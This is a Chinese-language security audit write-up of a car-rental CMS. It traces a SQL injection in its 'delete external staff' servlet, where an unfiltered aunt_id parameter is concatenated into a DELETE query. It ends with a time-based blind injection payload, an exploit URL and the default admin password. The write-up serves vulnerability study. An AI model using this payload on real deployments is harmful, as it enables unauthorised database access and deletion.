CMS簡介

系統基於租車業務場景而搭建的O2O服務平臺,可爲用戶提供商務租車、接送機、旅遊租車、企業租車、自駕租車、婚慶用車等自助租車服務。

系統包含車輛庫管理、門店管理、員工管理、司機管理、訂單管理、活動管理、評價管理、財務管理、統計等。

cms的下載地址: http://down.admin5.com/jsp/135501.html

部署簡介

1、下載代碼文件,可以本機調試或上傳到自己服務器運行。

2、安裝運行程序:

(1)將解壓文件夾中的opencarrun安裝包複製到tomcat–>webapps–> 下;

(2)將sql導入mysql;

(3)啓動tomcat;

(4)啓動完畢後,前臺訪問地址: http://localhost:8080/opencarrun/

後臺訪問地址: http://localhost:8080/opencarrun/admin/login (默認賬號:adimin 默認密碼:zft3285497)

3、開發包安裝

打開MyEclipse–>File–>Import–>選擇Existing Porjects into Workspace–>Next–>Select root directory 選擇剛纔解壓的開發包文件中的opencar–>Finish

sql審計過程

漏洞位置:

WebRoot\WEB-INF\lib\car-weishang-1.0.jar!\com\weishang\my\admin\DeleteAunt.class

功能模塊:刪除外聘員工

public void doGet(HttpServletRequest request,HttpServletResponse response) throws ServletException, IOException {
response.setContentType(
"text/html;charset=UTF-8");
PrintWriter out =response.getWriter();
ShopService ss =
new ShopService();
HttpSession session = request.getSession(
true);
Object user = session.getAttribute(
"user");
Locale loc =
new Locale("zh", "CN");
ResourceBundle rb =ResourceBundle.getBundle(
"messages", loc);
String adminTip = rb.getString(
"adminTip");
String json =
"";
if (user== null) {
RequestDispatcher rd =request.getRequestDispatcher(
"/WEB-INF/jsp/login.jsp");
request.setAttribute(
"tip", adminTip);
rd.forward(request, response);
}
else {
String[] auntIds = request.getParameterValues("aunt_id");
String ids = "";

for(int i = 0; i < auntIds.length; ++i) {
ids = ids + auntIds[i] +
",";
}

ids = ids.substring(
0, ids.length() - 1);
String flag = ss.deleteAunt(ids);
if (flag.equals("ok")) {
json =
"{\"tip\":\"" + rb.getString("delete") + rb.getString("success") + "\"}";
}
else {
json =
"{\"tip\":\"" + rb.getString("delete") + rb.getString("failure") + "\"}";
}

out.print(json);
}

}

request.getParameterValues(“aunt_id”) 獲取獲取用戶值,賦值給字符串數組變量 aunt_id, aunt_id經過處理交給ids變量,而ids變量進入deleteAunt方法,這裏通過flag變量判斷執行是否成功,這樣只可能存在盲注了,跟進去:

deleteAunt 方法位於

/WebRoot/WEB-INF/lib/car-weishang-1.0.jar!/com/weishang/my/service/ShopService.class
public String deleteAunt(String ids) {
String sql =
"delete from aunt where aunt_id in (" + ids + ")";
int flag = this.jdbc.executeUpdate(sql);
this.jdbc.close();
return flag > 0 ? "ok" : "bad";
}

從這個方法看是一個執行刪除操作,變量ids, 也就是我們問題參數直接被拼接到sql語句中,未做編譯,未做任何過濾,從而造成注入漏洞,

String sql =”delete from aunt where aunt_id in (“+ ids +”)”; 如果讓這條sql執行,我們構造payload需要做一個閉合,構造如下:

delete from aunt where aunt_id in (1) AND (SELECT 7119 FROM (SELECT(SLEEP(5)))uQYd) AND (8738=8738

漏洞利用過程

http://localhost:8081/admin/adminLogin

默認賬號:adimin 默認密碼:zft3285497

進入後:

訪問刪除外聘員工模塊

http://127.0.0.1:8081/admin/deleteAunt?aunt_id=1 ) AND (SELECT 7119 FROM (SELECT(SLEEP(5)))uQYd) AND (8738=8738

相關文章